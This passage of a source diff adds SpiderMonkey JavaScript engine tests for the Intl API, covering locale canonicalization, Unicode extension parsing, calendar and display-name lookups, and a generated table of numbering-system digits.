+ { locale: "en-u-abc-def", start: 2, end: 12 },
+ { locale: "en-u-abc-def-x-y", start: 2, end: 12 },
+ { locale: "en-u-abc-def-x-yz", start: 2, end: 12 },
+ { locale: "en-u-abc-def-x-y-u-kn", start: 2, end: 12 },
+ // - followed by key subtag.
+ { locale: "en-u-abc-de", start: 2, end: 11 },
+ { locale: "en-u-abc-de-x-y", start: 2, end: 11 },
+ { locale: "en-u-abc-de-x-yz", start: 2, end: 11 },
+ { locale: "en-u-abc-de-x-y-u-kn", start: 2, end: 11 },
+ // - followed by two key subtags.
+ { locale: "en-u-abc-de-fg", start: 2, end: 14 },
+ { locale: "en-u-abc-de-fg-x-y", start: 2, end: 14 },
+ { locale: "en-u-abc-de-fg-x-yz", start: 2, end: 14 },
+ { locale: "en-u-abc-de-fg-x-y-u-kn", start: 2, end: 14 },
+ // - followed by key and type subtag.
+ { locale: "en-u-abc-de-fgh", start: 2, end: 15 },
+ { locale: "en-u-abc-de-fgh-x-y", start: 2, end: 15 },
+ { locale: "en-u-abc-de-fgh-x-yz", start: 2, end: 15 },
+ { locale: "en-u-abc-de-fgh-x-y-u-kn", start: 2, end: 15 },
+
+ // Also test when the Unicode extension doesn't start at index 2.
+ { locale: "en-Latn-u-kf", start: 7, end: 12 },
+ { locale: "und-u-kf", start: 3, end: 8 },
+];
+
+for (const {locale, start, end} of testcases) {
+ // Ensure the input is a valid language tag.
+ assertEqArray(Intl.getCanonicalLocales(locale), [locale]);
+
+ assertEq(startOfUnicodeExtensions(locale), start);
+
+ if (start >= 0)
+ assertEq(endOfUnicodeExtensions(locale, start), end);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/fallback-symbol.js b/js/src/tests/non262/Intl/fallback-symbol.js
new file mode 100644
index 0000000000..87943257ce
--- /dev/null
+++ b/js/src/tests/non262/Intl/fallback-symbol.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+function IntlFallbackSymbol(constructor) {
+ return Object.getOwnPropertySymbols(constructor.call(Object.create(constructor.prototype)))[0];
+}
+
+const dateTimeFormatIntlFallbackSymbol = IntlFallbackSymbol(Intl.DateTimeFormat);
+const numberFormatIntlFallbackSymbol = IntlFallbackSymbol(Intl.NumberFormat);
+
+// Intl.DateTimeFormat and Intl.NumberFormat both use the same fallback symbol.
+assertEq(dateTimeFormatIntlFallbackSymbol, numberFormatIntlFallbackSymbol);
+
+const intlFallbackSymbol = dateTimeFormatIntlFallbackSymbol;
+
+// The fallback symbol is a Symbol value.
+assertEq(typeof intlFallbackSymbol, "symbol");
+
+// Test the description of the fallback symbol.
+assertEq(Symbol.prototype.toString.call(intlFallbackSymbol), "Symbol(IntlLegacyConstructedSymbol)");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/four-letter-language-codes.js b/js/src/tests/non262/Intl/four-letter-language-codes.js
new file mode 100644
index 0000000000..394efacf29
--- /dev/null
+++ b/js/src/tests/non262/Intl/four-letter-language-codes.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Four letter language subtags are not allowed.
+const languageTags = [
+ "root", // Special meaning in Unicode CLDR locale identifiers.
+ "Latn", // Unicode CLDR locale identifiers can start with a script subtag.
+ "Flob", // And now some non-sense input.
+ "ZORK",
+ "Blah-latn",
+ "QuuX-latn-us",
+ "SPAM-gb-x-Sausages-BACON-eggs",
+];
+
+for (let tag of languageTags) {
+ assertThrowsInstanceOf(() => Intl.getCanonicalLocales(tag), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCalendarInfo.js b/js/src/tests/non262/Intl/getCalendarInfo.js
new file mode 100644
index 0000000000..951fd820ea
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCalendarInfo.js
@@ -0,0 +1,83 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||!this.hasOwnProperty("addIntlExtras"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCalendarInfo function with a diverse set of arguments.
+
+function checkCalendarInfo(info, expected)
+{
+ assertEq(Object.getPrototypeOf(info), Object.prototype);
+
+ assertEq(info.firstDayOfWeek, expected.firstDayOfWeek);
+ assertEq(info.minDays, expected.minDays);
+ assertEq(info.weekendStart, expected.weekendStart);
+ assertEq(info.weekendEnd, expected.weekendEnd);
+ assertEq(info.calendar, expected.calendar);
+ assertEq(info.locale, expected.locale);
+}
+
+addIntlExtras(Intl);
+
+let gCI = Intl.getCalendarInfo;
+
+assertEq(gCI.length, 1);
+
+checkCalendarInfo(gCI('en-US'), {
+ firstDayOfWeek: 1,
+ minDays: 1,
+ weekendStart: 7,
+ weekendEnd: 1,
+ calendar: "gregory",
+ locale: "en-US"
+});
+
+checkCalendarInfo(gCI('en-IL'), {
+ firstDayOfWeek: 1,
+ minDays: 1,
+ weekendStart: 6,
+ weekendEnd: 7,
+ calendar: "gregory",
+ locale: "en-IL"
+});
+
+
+checkCalendarInfo(gCI('en-GB'), {
+ firstDayOfWeek: 2,
+ minDays: 4,
+ weekendStart: 7,
+ weekendEnd: 1,
+ calendar: "gregory",
+ locale: "en-GB"
+});
+
+
+checkCalendarInfo(gCI('pl'), {
+ firstDayOfWeek: 2,
+ minDays: 4,
+ weekendStart: 7,
+ weekendEnd: 1,
+ calendar: "gregory",
+ locale: "pl"
+});
+
+checkCalendarInfo(gCI('ar-IQ'), {
+ firstDayOfWeek: 7,
+ minDays: 1,
+ weekendStart: 6,
+ weekendEnd: 7,
+ calendar: "gregory",
+ locale: "ar-IQ"
+});
+
+checkCalendarInfo(gCI('fa-IR'), {
+ firstDayOfWeek: 7,
+ minDays: 1,
+ weekendStart: 6,
+ weekendEnd: 6,
+ calendar: "persian",
+ locale: "fa-IR"
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-overridden-arg-length.js b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-arg-length.js
new file mode 100644
index 0000000000..f0cb3d4ee3
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-arg-length.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for overridden argument's length.
+
+var count = 0;
+var locs = { get length() { if (count++ > 0) throw 42; return 0; } };
+var locales = Intl.getCanonicalLocales(locs); // shouldn't throw 42
+assertEq(locales.length, 0);
+
+
+var obj = { get 0() { throw new Error("must not be gotten!"); },
+ length: -Math.pow(2, 32) + 1 };
+
+assertEq(Intl.getCanonicalLocales(obj).length, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-overridden-push.js b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-push.js
new file mode 100644
index 0000000000..36f53ebf06
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-push.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for overriden Array.push.
+
+Array.prototype.push = () => { throw 42; };
+
+// must not throw 42, might if push is used
+var arr = Intl.getCanonicalLocales(["en-US"]);
+
+assertEqArray(arr, ["en-US"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-overridden-set.js b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-set.js
new file mode 100644
index 0000000000..396f3a9483
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-set.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for overridden set().
+
+Object.defineProperty(Array.prototype, 0, { set() { throw 42; } });
+
+// must not throw 42, might if push is used
+var arr = Intl.getCanonicalLocales(["en-US"]);
+
+assertEqArray(arr, ["en-US"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-overridden-species.js b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-species.js
new file mode 100644
index 0000000000..858735b581
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-species.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Tests the getCanonicalLocales function for overriden Array[Symbol.species].
+
+Object.defineProperty(Array, Symbol.species, {
+ value: function() {
+ return new Proxy(["?"], {
+ get(t, pk, r) {
+ return Reflect.get(t, pk, r);
+ },
+ defineProperty(t, pk) {
+ return true;
+ }
+ });
+ }
+});
+
+var arr = Intl.getCanonicalLocales("de-x-private");
+
+assertEqArray(arr, ["de-x-private"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-weird-cases.js b/js/src/tests/non262/Intl/getCanonicalLocales-weird-cases.js
new file mode 100644
index 0000000000..d67fda355f
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-weird-cases.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Locale processing is supposed to internally remove any Unicode extension
+// sequences in the locale. Test that various weird testcases invoking
+// algorithmic edge cases don't assert or throw exceptions.
+
+var weirdCases =
+ [
+ "en-x-u-foo",
+ "en-a-bar-x-u-foo",
+ "en-x-u-foo-a-bar",
+ "en-a-bar-u-baz-x-u-foo",
+ ];
+
+for (let weird of weirdCases)
+ assertEqArray(Intl.getCanonicalLocales(weird), [weird]);
+
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("x-u-foo"), RangeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-with-duplicates.js b/js/src/tests/non262/Intl/getCanonicalLocales-with-duplicates.js
new file mode 100644
index 0000000000..c029569482
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-with-duplicates.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for duplicate locales scenario.
+
+assertEqArray(Intl.getCanonicalLocales(['ab-cd', 'ff', 'de-rt', 'ab-Cd']),
+ ['ab-CD', 'ff', 'de-RT']);
+
+var locales = Intl.getCanonicalLocales(["en-US", "en-US"]);
+assertEqArray(locales, ['en-US']);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales.js b/js/src/tests/non262/Intl/getCanonicalLocales.js
new file mode 100644
index 0000000000..66e9b87c5c
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function with a diverse set of arguments.
+
+let gCL = Intl.getCanonicalLocales;
+
+assertEq(Intl.getCanonicalLocales.length, 1);
+
+assertEqArray(gCL(), []);
+
+assertEqArray(gCL('ab-cd'), ['ab-CD']);
+
+assertEqArray(gCL(['ab-cd']), ['ab-CD']);
+
+assertEqArray(gCL(['ab-cd', 'FF']), ['ab-CD', 'ff']);
+
+assertEqArray(gCL({'a': 0}), []);
+
+assertEqArray(gCL({}), []);
+
+assertEqArray(gCL(['ar-ma-u-ca-islamicc']), ['ar-MA-u-ca-islamic-civil']);
+
+assertEqArray(gCL(['th-th-u-nu-thai']), ['th-TH-u-nu-thai']);
+
+assertEqArray(gCL(NaN), []);
+
+assertEqArray(gCL(1), []);
+
+Number.prototype[0] = "en-US";
+Number.prototype.length = 1;
+assertEqArray(gCL(NaN), ["en-US"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getDisplayNames.js b/js/src/tests/non262/Intl/getDisplayNames.js
new file mode 100644
index 0000000000..853effb630
--- /dev/null
+++ b/js/src/tests/non262/Intl/getDisplayNames.js
@@ -0,0 +1,246 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCalendarInfo function with a diverse set of arguments.
+
+/*
+ * Test if getDisplayNames return value matches expected values.
+ */
+function checkDisplayNames(names, expected)
+{
+ assertEq(Object.getPrototypeOf(names), Object.prototype);
+
+ assertEq(names.locale, expected.locale);
+ assertEq(names.style, expected.style);
+
+ const nameValues = names.values;
+ const expectedValues = expected.values;
+
+ const nameValuesKeys = Object.getOwnPropertyNames(nameValues).sort();
+ const expectedValuesKeys = Object.getOwnPropertyNames(expectedValues).sort();
+
+ assertEqArray(nameValuesKeys, expectedValuesKeys);
+
+ for (let key of expectedValuesKeys)
+ assertEq(nameValues[key], expectedValues[key]);
+}
+
+addIntlExtras(Intl);
+
+let gDN = Intl.getDisplayNames;
+
+assertEq(gDN.length, 2);
+
+checkDisplayNames(gDN('en-US', {
+}), {
+ locale: 'en-US',
+ style: 'long',
+ values: {}
+});
+
+checkDisplayNames(gDN('en-US', {
+ keys: [
+ 'dates/gregorian/weekdays/wednesday'
+ ],
+ style: 'narrow'
+}), {
+ locale: 'en-US',
+ style: 'narrow',
+ values: {
+ 'dates/gregorian/weekdays/wednesday': 'W'
+ }
+});
+
+checkDisplayNames(gDN('en-US', {
+ keys: [
+ 'dates/fields/year',
+ 'dates/fields/month',
+ 'dates/fields/week',
+ 'dates/fields/day',
+ 'dates/gregorian/months/january',
+ 'dates/gregorian/months/february',
+ 'dates/gregorian/months/march',
+ 'dates/gregorian/weekdays/tuesday'
+ ]
+}), {
+ locale: 'en-US',
+ style: 'long',
+ values: {
+ 'dates/fields/year': 'year',
+ 'dates/fields/month': 'month',
+ 'dates/fields/week': 'week',
+ 'dates/fields/day': 'day',
+ 'dates/gregorian/months/january': 'January',
+ 'dates/gregorian/months/february': 'February',
+ 'dates/gregorian/months/march': 'March',
+ 'dates/gregorian/weekdays/tuesday': 'Tuesday',
+ }
+});
+
+checkDisplayNames(gDN('fr', {
+ keys: [
+ 'dates/fields/year',
+ 'dates/fields/day',
+ 'dates/gregorian/months/october',
+ 'dates/gregorian/weekdays/saturday',
+ 'dates/gregorian/dayperiods/pm'
+ ]
+}), {
+ locale: 'fr',
+ style: 'long',
+ values: {
+ 'dates/fields/year': 'année',
+ 'dates/fields/day': 'jour',
+ 'dates/gregorian/months/october': 'octobre',
+ 'dates/gregorian/weekdays/saturday': 'samedi',
+ 'dates/gregorian/dayperiods/pm': 'PM'
+ }
+});
+
+checkDisplayNames(gDN('it', {
+ style: 'short',
+ keys: [
+ 'dates/gregorian/weekdays/thursday',
+ 'dates/gregorian/months/august',
+ 'dates/gregorian/dayperiods/am',
+ 'dates/fields/month',
+ ]
+}), {
+ locale: 'it',
+ style: 'short',
+ values: {
+ 'dates/gregorian/weekdays/thursday': 'gio',
+ 'dates/gregorian/months/august': 'ago',
+ 'dates/gregorian/dayperiods/am': 'AM',
+ 'dates/fields/month': 'mese'
+ }
+});
+
+checkDisplayNames(gDN('ar', {
+ style: 'long',
+ keys: [
+ 'dates/gregorian/weekdays/thursday',
+ 'dates/gregorian/months/august',
+ 'dates/gregorian/dayperiods/am',
+ 'dates/fields/month',
+ ]
+}), {
+ locale: 'ar',
+ style: 'long',
+ values: {
+ 'dates/gregorian/weekdays/thursday': 'الخميس',
+ 'dates/gregorian/months/august': 'أغسطس',
+ 'dates/gregorian/dayperiods/am': 'ص',
+ 'dates/fields/month': 'الشهر'
+ }
+});
+
+/* Invalid input */
+
+assertThrowsInstanceOf(() => {
+ gDN('en-US', {
+ style: '',
+ keys: [
+ 'dates/gregorian/weekdays/thursday',
+ ]
+ });
+}, RangeError);
+
+assertThrowsInstanceOf(() => {
+ gDN('en-US', {
+ style: 'bogus',
+ keys: [
+ 'dates/gregorian/weekdays/thursday',
+ ]
+ });
+}, RangeError);
+
+assertThrowsInstanceOf(() => {
+ gDN('foo-X', {
+ keys: [
+ 'dates/gregorian/weekdays/thursday',
+ ]
+ });
+}, RangeError);
+
+const typeErrorKeys = [
+ null,
+ 'string',
+ Symbol.iterator,
+ 15,
+ 1,
+ 3.7,
+ NaN,
+ Infinity
+];
+
+for (let keys of typeErrorKeys) {
+ assertThrowsInstanceOf(() => {
+ gDN('en-US', {
+ keys
+ });
+ }, TypeError);
+}
+
+const rangeErrorKeys = [
+ [''],
+ ['foo'],
+ ['dates/foo'],
+ ['/dates/foo'],
+ ['dates/foo/foo'],
+ ['dates/fields'],
+ ['dates/fields/'],
+ ['dates/fields/foo'],
+ ['dates/fields/foo/month'],
+ ['/dates/foo/faa/bar/baz'],
+ ['dates///bar/baz'],
+ ['dates/gregorian'],
+ ['dates/gregorian/'],
+ ['dates/gregorian/foo'],
+ ['dates/gregorian/months'],
+ ['dates/gregorian/months/foo'],
+ ['dates/gregorian/weekdays'],
+ ['dates/gregorian/weekdays/foo'],
+ ['dates/gregorian/dayperiods'],
+ ['dates/gregorian/dayperiods/foo'],
+ ['dates/gregorian/months/الشهر'],
+ [3],
+ [null],
+ ['d', 'a', 't', 'e', 's'],
+ ['datesEXTRA'],
+ ['dates/fieldsEXTRA'],
+ ['dates/gregorianEXTRA'],
+ ['dates/gregorian/monthsEXTRA'],
+ ['dates/gregorian/weekdaysEXTRA'],
+ ['dates/fields/dayperiods/amEXTRA'],
+ ['dates/gregori\u1161n/months/january'],
+ ["dates/fields/year/"],
+ ["dates/fields/year\0"],
+ ["dates/fields/month/"],
+ ["dates/fields/month\0"],
+ ["dates/fields/week/"],
+ ["dates/fields/week\0"],
+ ["dates/fields/day/"],
+ ["dates/fields/day\0"],
+ ["dates/gregorian/months/january/"],
+ ["dates/gregorian/months/january\0"],
+ ["dates/gregorian/weekdays/saturday/"],
+ ["dates/gregorian/weekdays/saturday\0"],
+ ["dates/gregorian/dayperiods/am/"],
+ ["dates/gregorian/dayperiods/am\0"],
+ ["dates/fields/months/january/"],
+ ["dates/fields/months/january\0"],
+];
+
+for (let keys of rangeErrorKeys) {
+ assertThrowsInstanceOf(() => {
+ gDN('en-US', {
+ keys
+ });
+ }, RangeError);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getLocaleInfo.js b/js/src/tests/non262/Intl/getLocaleInfo.js
new file mode 100644
index 0000000000..22d4f53799
--- /dev/null
+++ b/js/src/tests/non262/Intl/getLocaleInfo.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||!this.hasOwnProperty("addIntlExtras"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCalendarInfo function with a diverse set of arguments.
+
+function checkLocaleInfo(info, expected)
+{
+ assertEq(Object.getPrototypeOf(info), Object.prototype);
+
+ assertEq(info.direction, expected.direction);
+ assertEq(info.locale, expected.locale);
+}
+
+addIntlExtras(Intl);
+
+let gLI = Intl.getLocaleInfo;
+
+assertEq(gLI.length, 1);
+
+checkLocaleInfo(gLI('en-US'), {
+ direction: "ltr",
+ locale: "en-US"
+});
+
+checkLocaleInfo(gLI('fr'), {
+ direction: "ltr",
+ locale: "fr"
+});
+
+checkLocaleInfo(gLI('ar'), {
+ direction: "rtl",
+ locale: "ar"
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/resolved-locale-sorted-unicode-extension-keys.js b/js/src/tests/non262/Intl/resolved-locale-sorted-unicode-extension-keys.js
new file mode 100644
index 0000000000..400f7f0f63
--- /dev/null
+++ b/js/src/tests/non262/Intl/resolved-locale-sorted-unicode-extension-keys.js
@@ -0,0 +1,109 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+const IntlServices = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+// Examples for all possible Unicode extension keys (with the exception of deprecated "vt").
+const unicodeExtensions = [
+ // calendar
+ "ca-gregory",
+ "fw-mon",
+ "hc-h23",
+
+ // collation
+ "co-phonebk",
+ "ka-noignore",
+ "kb-false",
+ "kc-false",
+ "kf-false",
+ "kh-false",
+ "kk-false",
+ "kn-false",
+ "kr-space",
+ "ks-level1",
+ "kv-space",
+
+ // currency
+ "cf-standard",
+ "cu-eur",
+
+ // measure
+ "ms-metric",
+
+ // number
+ "nu-latn",
+
+ // segmentation
+ "lb-strict",
+ "lw-normal",
+ "ss-none",
+
+ // timezone
+ "tz-atvie",
+
+ // variant
+ "em-default",
+ "rg-atzzzz",
+ "sd-atat1",
+ "va-posix",
+];
+
+function reverse(a, b) {
+ if (a < b) {
+ return 1;
+ }
+ if (a > b) {
+ return -1;
+ }
+ return 0;
+}
+
+function findUnicodeExtensionKeys(locale) {
+ // Find the Unicode extension key subtag.
+ var extension = locale.match(/.*-u-(.*)/);
+ if (extension === null) {
+ return [];
+ }
+
+ // Replace all types in the Unicode extension keywords.
+ return extension[1].replace(/-\w{3,}/g, "").split("-");
+}
+
+// Test all Intl service constructors and ensure the Unicode extension keys in
+// the resolved locale are sorted alphabetically.
+
+for (let IntlService of IntlServices) {
+ let options = undefined;
+ if (IntlService === Intl.DisplayNames) {
+ // Intl.DisplayNames requires the "type" option to be set.
+ options = {type: "language"};
+ }
+
+ // sort() modifies the input array, so create a copy.
+ let ext = unicodeExtensions.slice(0);
+
+ let locale, keys;
+
+ // Input keys unsorted.
+ locale = new IntlService(`de-u-${ext.join("-")}`, options).resolvedOptions().locale;
+ keys = findUnicodeExtensionKeys(locale);
+ assertEqArray(keys, keys.slice(0).sort());
+
+ // Input keys sorted alphabetically.
+ locale = new IntlService(`de-u-${ext.sort().join("-")}`, options).resolvedOptions().locale;
+ keys = findUnicodeExtensionKeys(locale);
+ assertEqArray(keys, keys.slice(0).sort());
+
+ // Input keys sorted alphabetically in reverse order.
+ locale = new IntlService(`de-u-${ext.sort(reverse).join("-")}`, options).resolvedOptions().locale;
+ keys = findUnicodeExtensionKeys(locale);
+ assertEqArray(keys, keys.slice(0).sort());
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/shell.js b/js/src/tests/non262/Intl/shell.js
new file mode 100644
index 0000000000..25755ee827
--- /dev/null
+++ b/js/src/tests/non262/Intl/shell.js
@@ -0,0 +1,328 @@
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+// source: CLDR file common/bcp47/number.xml; version CLDR 37.
+// https://github.com/unicode-org/cldr/blob/master/common/bcp47/number.xml
+// https://github.com/unicode-org/cldr/blob/master/common/supplemental/numberingSystems.xml
+const numberingSystems = {
+ "adlm": {
+ "algorithmic": false,
+ "digits": "𞥐𞥑𞥒𞥓𞥔𞥕𞥖𞥗𞥘𞥙"
+ },
+ "ahom": {
+ "algorithmic": false,
+ "digits": "𑜰𑜱𑜲𑜳𑜴𑜵𑜶𑜷𑜸𑜹"
+ },
+ "arab": {
+ "algorithmic": false,
+ "digits": "٠١٢٣٤٥٦٧٨٩"
+ },
+ "arabext": {
+ "algorithmic": false,
+ "digits": "۰۱۲۳۴۵۶۷۸۹"
+ },
+ "armn": {
+ "algorithmic": true
+ },
+ "armnlow": {
+ "algorithmic": true
+ },
+ "bali": {
+ "algorithmic": false,
+ "digits": "᭐᭑᭒᭓᭔᭕᭖᭗᭘᭙"
+ },
+ "beng": {
+ "algorithmic": false,
+ "digits": "০১২৩৪৫৬৭৮৯"
+ },
+ "bhks": {
+ "algorithmic": false,
+ "digits": "𑱐𑱑𑱒𑱓𑱔𑱕𑱖𑱗𑱘𑱙"
+ },
+ "brah": {
+ "algorithmic": false,
+ "digits": "𑁦𑁧𑁨𑁩𑁪𑁫𑁬𑁭𑁮𑁯"
+ },
+ "cakm": {
+ "algorithmic": false,
+ "digits": "𑄶𑄷𑄸𑄹𑄺𑄻𑄼𑄽𑄾𑄿"
+ },
+ "cham": {
+ "algorithmic": false,
+ "digits": "꩐꩑꩒꩓꩔꩕꩖꩗꩘꩙"
+ },
+ "cyrl": {
+ "algorithmic": true
+ },
+ "deva": {
+ "algorithmic": false,
+ "digits": "०१२३४५६७८९"
+ },
+ "diak": {
+ "algorithmic": false,
+ "digits": "𑥐𑥑𑥒𑥓𑥔𑥕𑥖𑥗𑥘𑥙"
+ },
+ "ethi": {
+ "algorithmic": true
+ },
+ "fullwide": {
+ "algorithmic": false,
+ "digits": "0123456789"
+ },
+ "geor": {
+ "algorithmic": true
+ },
+ "gong": {
+ "algorithmic": false,
+ "digits": "𑶠𑶡𑶢𑶣𑶤𑶥𑶦𑶧𑶨𑶩"
+ },
+ "gonm": {
+ "algorithmic": false,
+ "digits": "𑵐𑵑𑵒𑵓𑵔𑵕𑵖𑵗𑵘𑵙"
+ },
+ "grek": {
+ "algorithmic": true
+ },
+ "greklow": {
+ "algorithmic": true
+ },
+ "gujr": {
+ "algorithmic": false,
+ "digits": "૦૧૨૩૪૫૬૭૮૯"
+ },
+ "guru": {
+ "algorithmic": false,
+ "digits": "੦੧੨੩੪੫੬੭੮੯"
+ },
+ "hanidays": {
+ "algorithmic": true
+ },
+ "hanidec": {
+ "algorithmic": false,
+ "digits": "〇一二三四五六七八九"
+ },
+ "hans": {
+ "algorithmic": true
+ },
+ "hansfin": {
+ "algorithmic": true
+ },
+ "hant": {
+ "algorithmic": true
+ },
+ "hantfin": {
+ "algorithmic": true
+ },
+ "hebr": {
+ "algorithmic": true
+ },
+ "hmng": {
+ "algorithmic": false,
+ "digits": "𖭐𖭑𖭒𖭓𖭔𖭕𖭖𖭗𖭘𖭙"
+ },
+ "hmnp": {
+ "algorithmic": false,
+ "digits": "𞅀𞅁𞅂𞅃𞅄𞅅𞅆𞅇𞅈𞅉"
+ },
+ "java": {
+ "algorithmic": false,
+ "digits": "꧐꧑꧒꧓꧔꧕꧖꧗꧘꧙"
+ },
+ "jpan": {
+ "algorithmic": true
+ },
+ "jpanfin": {
+ "algorithmic": true
+ },
+ "jpanyear": {
+ "algorithmic": true
+ },
+ "kali": {
+ "algorithmic": false,
+ "digits": "꤀꤁꤂꤃꤄꤅꤆꤇꤈꤉"
+ },
+ "khmr": {
+ "algorithmic": false,
+ "digits": "០១២៣៤៥៦៧៨៩"
+ },
+ "knda": {
+ "algorithmic": false,
+ "digits": "೦೧೨೩೪೫೬೭೮೯"
+ },
+ "lana": {
+ "algorithmic": false,
+ "digits": "᪀᪁᪂᪃᪄᪅᪆᪇᪈᪉"
+ },
+ "lanatham": {
+ "algorithmic": false,
+ "digits": "᪐᪑᪒᪓᪔᪕᪖᪗᪘᪙"
+ },
+ "laoo": {
+ "algorithmic": false,
+ "digits": "໐໑໒໓໔໕໖໗໘໙"
+ },
+ "latn": {
+ "algorithmic": false,
+ "digits": "0123456789"
+ },
+ "lepc": {
+ "algorithmic": false,
+ "digits": "᱀᱁᱂᱃᱄᱅᱆᱇᱈᱉"
+ },
+ "limb": {
+ "algorithmic": false,
+ "digits": "᥆᥇᥈᥉᥊᥋᥌᥍᥎᥏"
+ },
+ "mathbold": {
+ "algorithmic": false,
+ "digits": "𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗"
+ },
+ "mathdbl": {
+ "algorithmic": false,
+ "digits": "𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡"
+ },
+ "mathmono": {
+ "algorithmic": false,
+ "digits": "𝟶𝟷𝟸𝟹𝟺𝟻𝟼𝟽𝟾𝟿"
+ },
+ "mathsanb": {
+ "algorithmic": false,
+ "digits": "𝟬𝟭𝟮𝟯𝟰𝟱𝟲𝟳𝟴𝟵"
+ },
+ "mathsans": {
+ "algorithmic": false,
+ "digits": "𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫"
+ },
